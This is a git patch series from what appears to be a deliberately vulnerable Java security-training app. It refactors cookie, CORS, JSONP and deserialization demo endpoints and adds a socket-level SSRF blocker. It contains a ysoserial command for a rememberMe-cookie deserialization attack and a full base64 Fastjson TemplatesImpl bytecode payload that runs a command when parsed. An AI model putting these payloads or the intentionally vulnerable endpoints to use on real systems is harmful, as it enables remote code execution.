Cookie[] cookie = req.getCookies(); @@ -36,7 +36,7 @@ private String vuln02(HttpServletRequest req) { @RequestMapping(value = "/vuln03") - private String vuln03(HttpServletRequest req) { + public String vuln03(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { @@ -52,7 +52,7 @@ private String vuln03(HttpServletRequest req) { @RequestMapping(value = "/vuln04") - private String vuln04(HttpServletRequest req) { + public String vuln04(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { @@ -68,13 +68,13 @@ private String vuln04(HttpServletRequest req) { @RequestMapping(value = "/vuln05") - private String vuln05(@CookieValue("nick") String nick) { + public String vuln05(@CookieValue("nick") String nick) { return "Cookie nick: " + nick; } @RequestMapping(value = "/vuln06") - private String vuln06(@CookieValue(value = "nick") String nick) { + public String vuln06(@CookieValue(value = "nick") String nick) { return "Cookie nick: " + nick; } diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java index 3537ecf8..109a4e18 100644 --- a/src/main/java/org/joychou/controller/Cors.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -1,10 +1,10 @@ package org.joychou.controller; import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; import org.springframework.security.web.csrf.CsrfToken; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; -import org.joychou.controller.jsonp.JSONP; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; @@ -111,7 +111,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response) } response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); - return JSONP.getUserInfo2JsonStr(request); + return LoginUtils.getUserInfo2JsonStr(request); } diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 57e0a6b7..e3e0bca6 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -25,20 +26,19 @@ @RequestMapping("/deserialize") public class Deserialize { - private static String cookieName = "rememberMe"; protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 * Add the result to rememberMe cookie. * - * http://localhost:8080/deserialize/rememberMe/vul + * http://localhost:8080/deserialize/rememberMe/vuln */ - @RequestMapping("/rememberMe/vul") + @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { - Cookie cookie = getCookie(request, cookieName); + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie){ return "No rememberMe cookie. Right?"; @@ -64,7 +64,7 @@ public String rememberMeVul(HttpServletRequest request) public String rememberMeBlackClassCheck(HttpServletRequest request) throws IOException, ClassNotFoundException { - Cookie cookie = getCookie(request, cookieName); + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie){ return "No rememberMe cookie. Right?"; diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 684ee253..80d06fc9 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -3,6 +3,7 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; +import com.alibaba.fastjson.parser.ParserConfig; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -31,7 +32,6 @@ public static String Deserialize(@RequestBody String params) { } public static void main(String[] args) { - // Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField); diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/Jsonp.java similarity index 76% rename from src/main/java/org/joychou/controller/jsonp/JSONP.java rename to src/main/java/org/joychou/controller/Jsonp.java index e2dfc8eb..44394097 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -1,10 +1,10 @@ -package org.joychou.controller.jsonp; +package org.joychou.controller; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; -import com.netflix.ribbon.proxy.annotation.Http; import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CsrfToken; import org.springframework.web.bind.annotation.*; @@ -15,8 +15,7 @@ import javax.servlet.http.HttpServletRequest; import java.security.Principal; -import java.util.HashMap; -import java.util.Map; + /** @@ -26,22 +25,10 @@ @RestController @RequestMapping("/jsonp") -public class JSONP { +public class Jsonp { private String callback = WebConfig.getBusinessCallback(); - // get current login username - public static String getUserInfo2JsonStr(HttpServletRequest request) { - Principal principal = request.getUserPrincipal(); - - String username = principal.getName(); - - Map m = new HashMap<>(); - m.put("Username", username); - - return JSON.toJSONString(m); - } - /** * Set the response content-type to application/javascript. *

@@ -50,7 +37,7 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) { @RequestMapping(value = "/vuln/referer", produces = "application/javascript") public String referer(HttpServletRequest request) { String callback = request.getParameter(this.callback); - return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } /** @@ -67,20 +54,20 @@ public String emptyReferer(HttpServletRequest request) { return "error"; } String callback = request.getParameter(this.callback); - return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } /** * Adding callback or cback on parameter can automatically return jsonp data. - * http://localhost:8080/jsonp/vuln/advice?callback=test - * http://localhost:8080/jsonp/vuln/advice?_callback=test + * http://localhost:8080/jsonp/object2jsonp?callback=test + * http://localhost:8080/jsonp/object2jsonp?_callback=test * * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. * Such as JSONOjbect or JavaBean. String type cannot be used. */ - @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE) + @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice(HttpServletRequest request) { - return JSON.parseObject(getUserInfo2JsonStr(request)); + return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); } @@ -112,7 +99,7 @@ public String safecode(HttpServletRequest request) { return "error"; } String callback = request.getParameter(this.callback); - return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request)); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index d2b3b484..d16f0ebb 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -83,8 +83,8 @@ public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse throws IOException{ String url = request.getParameter("url"); if (SecurityUtil.checkURL(url) == null) { - // Redirect to error page. - response.sendRedirect("https://test.joychou.org/error3.html"); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("url forbidden"); return; } response.sendRedirect(url); diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/security/Object2Jsonp.java similarity index 93% rename from src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java rename to src/main/java/org/joychou/security/Object2Jsonp.java index 944a325b..6432616b 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java +++ b/src/main/java/org/joychou/security/Object2Jsonp.java @@ -1,8 +1,7 @@ -package org.joychou.controller.jsonp; +package org.joychou.security; import org.apache.commons.lang.StringUtils; import org.joychou.config.WebConfig; -import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Value; @@ -25,14 +24,14 @@ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 */ @ControllerAdvice -public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { +public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { private final String[] callbacks; private final Logger logger= LoggerFactory.getLogger(this.getClass()); // method of using @Value in constructor - public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { + public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { super(callbacks); // Can set multiple paramNames this.callbacks = callbacks; } diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index 2f1bcf0a..b678d598 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -63,8 +63,7 @@ static boolean checkSSRF(String url, int checkTimes) { try { do { // 判断当前请求的URL是否是内网ip - Boolean bRet = isInnerIPByUrl(finalUrl); - if (bRet) { + if (isInnerIPByUrl(finalUrl)) { logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); return false; // 内网ip直接return,非内网ip继续判断是否有重定向 } diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java new file mode 100644 index 00000000..93ccbd9f --- /dev/null +++ b/src/main/java/org/joychou/util/LoginUtils.java @@ -0,0 +1,21 @@ +package org.joychou.util; + +import com.alibaba.fastjson.JSON; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; + +public class LoginUtils { + + // get current login username + public static String getUserInfo2JsonStr(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + String username = principal.getName(); + Map m = new HashMap<>(); + m.put("Username", username); + + return JSON.toJSONString(m); + } +} From fa48badb1edcbfb27fae61909b43545c0478d0b2 Mon Sep 17 00:00:00 2001 From: liergou <736540362@qq.com> Date: Sat, 4 Apr 2020 02:27:05 +0800 Subject: [PATCH 15/38] =?UTF-8?q?=E5=A2=9E=E5=8A=A0socket=20hook=E6=A8=A1?= =?UTF-8?q?=E5=9D=97=20=20=E5=AE=9E=E7=8E=B0socket=E5=B1=82=E6=8B=A6?= =?UTF-8?q?=E6=88=AASSRF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../org/joychou/security/SSRFChecker.java | 15 +- .../org/joychou/security/SecurityUtil.java | 24 ++ .../java/org/joychou/security/SocketHook.java | 25 ++ .../joychou/security/SocketHookFactory.java | 77 +++++ .../org/joychou/security/SocketHookImpl.java | 294 ++++++++++++++++++ .../org/joychou/security/SocketHookUtils.java | 29 ++ 6 files changed, 463 insertions(+), 1 deletion(-) create mode 100644 src/main/java/org/joychou/security/SocketHook.java create mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java create mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java create mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index b678d598..ef393074 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -5,6 +5,8 @@ import java.net.URI; import java.net.URL; import java.util.ArrayList; +import java.util.regex.Matcher; +import java.util.regex.Pattern; import org.apache.commons.net.util.SubnetUtils; import org.joychou.config.WebConfig; @@ -14,6 +16,7 @@ class SSRFChecker { private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)"); static boolean checkURLFckSSRF(String url) { if (null == url){ @@ -122,7 +125,7 @@ static boolean isInnerIPByUrl(String url) { * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ - private static boolean isInnerIp(String strIP){ + static boolean isInnerIp(String strIP){ ArrayList blackSubnets= WebConfig.getSsrfBlockIps(); @@ -176,4 +179,14 @@ private static String url2host(String url) { } } + + /** + * 匹配ip + * @return + */ + static String getIpFromStr(String ipStr){ + Matcher matcher = IP_PATTERN.matcher(ipStr); + System.out.println(matcher.find()); + return matcher.group(); + } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 14cc397f..2cbe52ab 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -4,6 +4,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URI; import java.net.URLDecoder; @@ -118,6 +119,29 @@ public static boolean checkSSRFWithoutRedirect(String url) { return !SSRFChecker.isInnerIPByUrl(url); } + /** + * @Author liergou + * @Description 基于Socket hook 进行SSRF检测拦截 + * @Date 2:15 2020/4/4 + * @Param [] + * @return void + **/ + public static void startSSRFHook() throws NoSuchFieldException, IOException { + SocketHook.startHook(); + } + + /** + * @Author liergou + * @Description 关闭Socket hook + * @Date 2:15 2020/4/4 + * @Param [] + * @return void + **/ + public static void stopSSRFHook(){ + SocketHook.stopHook(); + } + + /** * Filter file path to prevent path traversal vulns. diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/SocketHook.java new file mode 100644 index 00000000..359e33f3 --- /dev/null +++ b/src/main/java/org/joychou/security/SocketHook.java @@ -0,0 +1,25 @@ +package org.joychou.security; + +import java.io.IOException; +import java.net.Socket; +import java.net.SocketException; + +/** + * @Author liergou + * @Description Socket hook开关自如 + * @Date 2:12 2020/4/4 + **/ +class SocketHook { + static void startHook() throws NoSuchFieldException, IOException { + SocketHookFactory.initSocket(); + SocketHookFactory.setHook(true); + try{ + Socket.setSocketImplFactory(new SocketHookFactory()); + }catch (SocketException ignored){ + } + } + + static void stopHook(){ + SocketHookFactory.setHook(false); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java new file mode 100644 index 00000000..2dbe738f --- /dev/null +++ b/src/main/java/org/joychou/security/SocketHookFactory.java @@ -0,0 +1,77 @@ +package org.joychou.security; + + +import java.io.IOException; +import java.lang.reflect.Field; +import java.net.Socket; +import java.net.SocketImpl; +import java.net.SocketImplFactory; +import java.util.logging.Level; +import java.util.logging.Logger; + + +/** + * @Author liergou + * @Description socket factory impl + * @Date 23:41 2020/4/3 + * @Param + * @return + **/ +public class SocketHookFactory implements SocketImplFactory + { + private static SocketImpl clazz; + private static Boolean isHook = false; + + /** + * @Author liergou + * @Description switch hook + * @Date 23:42 2020/4/2 + * @Param [set] + * @return void + **/ + public static void setHook(Boolean set){ + isHook = set; + } + + /** + * @Author liergou + * @Description 初始化 + * @Date 23:42 2020/4/2 + * @Param [] + * @return void + **/ + public static synchronized void initSocket() throws NoSuchFieldException { + if ( clazz != null ) { return; } + + Socket socket = new Socket(); + try{ + Field implField = Socket.class.getDeclaredField("impl"); + implField.setAccessible( true ); + clazz = (SocketImpl) implField.get(socket); + }catch (NoSuchFieldException | IllegalAccessException e){ + throw new RuntimeException("SocketHookFactory init failed!"); + } + + try { + socket.close(); + } + catch ( IOException ignored) + { + + } + } + + public SocketImpl createSocketImpl() { + + if(isHook) { + try { + return new SocketHookImpl(clazz); + } catch (Exception e) { + Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败 请检查" ); + return clazz; + } + }else{ + return clazz; + } + } + } diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java new file mode 100644 index 00000000..ec41ebac --- /dev/null +++ b/src/main/java/org/joychou/security/SocketHookImpl.java @@ -0,0 +1,294 @@ +package org.joychou.security; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; +import java.util.logging.Level; +import java.util.logging.Logger; + +/** + * @Author liergou + * @Description socket impl + * @Date 23:39 2020/4/2 + * @Param + * @return + **/ +public class SocketHookImpl extends SocketImpl implements SocketOptions +{ + + private SocketImpl socketImpl = null; + private Method createImpl; + private Method connectHostImpl; + private Method connectInetAddressImpl; + private Method connectSocketAddressIMPL; + private Method bindImpl; + private Method listenImpl; + private Method acceptImpl; + private Method getInputStreamImpl; + private Method getOutputStreamImpl; + private Method availableImpl; + private Method closeImpl; + private Method shutdownInputImpl; + private Method shutdownOutputImpl; + private Method sendUrgentDataImpl; + + + /** + * @Author liergou + * @Description 初始化反射方法 + * @Date 23:40 2020/4/2 + * @Param [initSocketImpl] + * @return + **/ + public SocketHookImpl(SocketImpl initSocketImpl) { + + if ( initSocketImpl == null){ + throw new RuntimeException(""); + //TODO close hook + } + + this.socketImpl = initSocketImpl; + final Class clazz = this.socketImpl.getClass(); + Method[] allMethod = clazz.getDeclaredMethods(); + createImpl = SocketHookUtils.findMethod( clazz,"create", new Class[]{ boolean.class } ); + connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ String.class, int.class } ); + connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ InetAddress.class, int.class } ); + connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class[]{ SocketAddress.class, int.class } ); + bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class[]{ InetAddress.class, int.class } ); + listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class[]{ int.class } ); + acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class[]{ SocketImpl.class } ); + getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class[]{ } ); + getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class[]{ } ); + availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class[]{ } ); + closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class[]{ } ); + shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class[]{ } ); + shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class[]{ } ); + sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class[]{ int.class } ); + } + + + /** + * socket base method impl + */ + @Override + protected void create(boolean stream) throws IOException { + try + { + this.createImpl.invoke( this.socketImpl, stream); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + } + + @Override + protected void connect(String host, int port) throws IOException { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port ); + + try + { + this.connectHostImpl.invoke( this.socketImpl, host, port); + } + catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + } + + + @Override + protected void connect(InetAddress address, int port) throws IOException { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString()); + + //start check SSRF + if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){ + throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString()); + } + try + { + this.connectInetAddressImpl.invoke( this.socketImpl, address, port); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected void connect(SocketAddress address, int timeout) throws IOException { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString()); + //start check SSRF + if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){ + throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString()); + } + + try + { + this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout); + } + catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected void bind(InetAddress host, int port) throws IOException { + try + { + this.bindImpl.invoke( this.socketImpl, host, port); + } + catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected void listen(int backlog) throws IOException { + + try + { + this.listenImpl.invoke( this.socketImpl, backlog); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected void accept(SocketImpl s) throws IOException { + + try + { + this.acceptImpl.invoke( this.socketImpl, s); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected InputStream getInputStream() throws IOException { + InputStream inStream = null; + + try + { + inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl); + } + catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex ) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + return inStream; + } + + @Override + protected OutputStream getOutputStream() throws IOException { + OutputStream outStream = null; + + try + { + outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl); + } + catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex ) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + return outStream; + } + + @Override + protected int available() throws IOException { + int result = -1; + + try + { + result = (Integer)this.availableImpl.invoke( this.socketImpl); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + return result; + } + + @Override + protected void close() throws IOException { + try + { + this.closeImpl.invoke( this.socketImpl); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + @Override + protected void shutdownInput() throws IOException { + try + { + this.shutdownInputImpl.invoke( this.socketImpl); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + } + + @Override + protected void shutdownOutput() throws IOException { + try + { + this.shutdownOutputImpl.invoke( this.socketImpl); + } + catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + + } + + @Override + protected void sendUrgentData(int data) throws IOException { + try + { + this.sendUrgentDataImpl.invoke( this.socketImpl, data); + } + catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) + { + Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex); + } + } + + public void setOption(int optID, Object value) throws SocketException { + if ( null != this.socketImpl ) + { + this.socketImpl.setOption( optID, value ); + } + } + + public Object getOption(int optID) throws SocketException { + return this.socketImpl.getOption( optID ); + } + + /** + * dont impl other child method now + * dont sure where will use it + **/ + + +} diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java new file mode 100644 index 00000000..75d48707 --- /dev/null +++ b/src/main/java/org/joychou/security/SocketHookUtils.java @@ -0,0 +1,29 @@ +package org.joychou.security; + +import java.lang.reflect.Method; + +public class SocketHookUtils { + + /** + * @Author liergou + * @Description 轮询父类查找反射方法 + * @Date 1:43 2020/4/4 + * @Param [inputClazz, findName, args] + * @return java.lang.reflect.Method + **/ + public static Method findMethod(Class inputClazz, String findName ,Class[] args){ + Class temp=inputClazz; + Method tmpMethod = null; + while(temp!=null){ + try{ + tmpMethod = temp.getDeclaredMethod(findName,args); + tmpMethod.setAccessible(true); + return tmpMethod; + }catch (NoSuchMethodException e){ + temp=temp.getSuperclass(); + } + } + return null; + } + +} From 335bfef5cb34d2e7e0a6f822226c82c7a8b37b80 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sat, 4 Apr 2020 23:39:27 +0800 Subject: [PATCH 16/38] fix hook socket's bug --- README.md | 2 +- .../java/org/joychou/config/Constants.java | 3 +- .../org/joychou/config/SafeDomainParser.java | 20 +- .../java/org/joychou/config/WebConfig.java | 66 ++-- .../org/joychou/controller/CRLFInjection.java | 2 +- .../java/org/joychou/controller/CSRF.java | 2 +- .../org/joychou/controller/CommandInject.java | 1 - .../java/org/joychou/controller/Cookies.java | 7 +- .../java/org/joychou/controller/Cors.java | 4 +- .../org/joychou/controller/Deserialize.java | 10 +- .../java/org/joychou/controller/Fastjson.java | 10 +- .../org/joychou/controller/FileUpload.java | 39 +-- .../org/joychou/controller/GetRequestURI.java | 18 +- .../java/org/joychou/controller/IPForge.java | 16 +- .../java/org/joychou/controller/Jsonp.java | 10 +- .../java/org/joychou/controller/Login.java | 2 +- .../org/joychou/controller/PathTraversal.java | 6 +- src/main/java/org/joychou/controller/Rce.java | 26 +- .../java/org/joychou/controller/SQLI.java | 64 ++-- 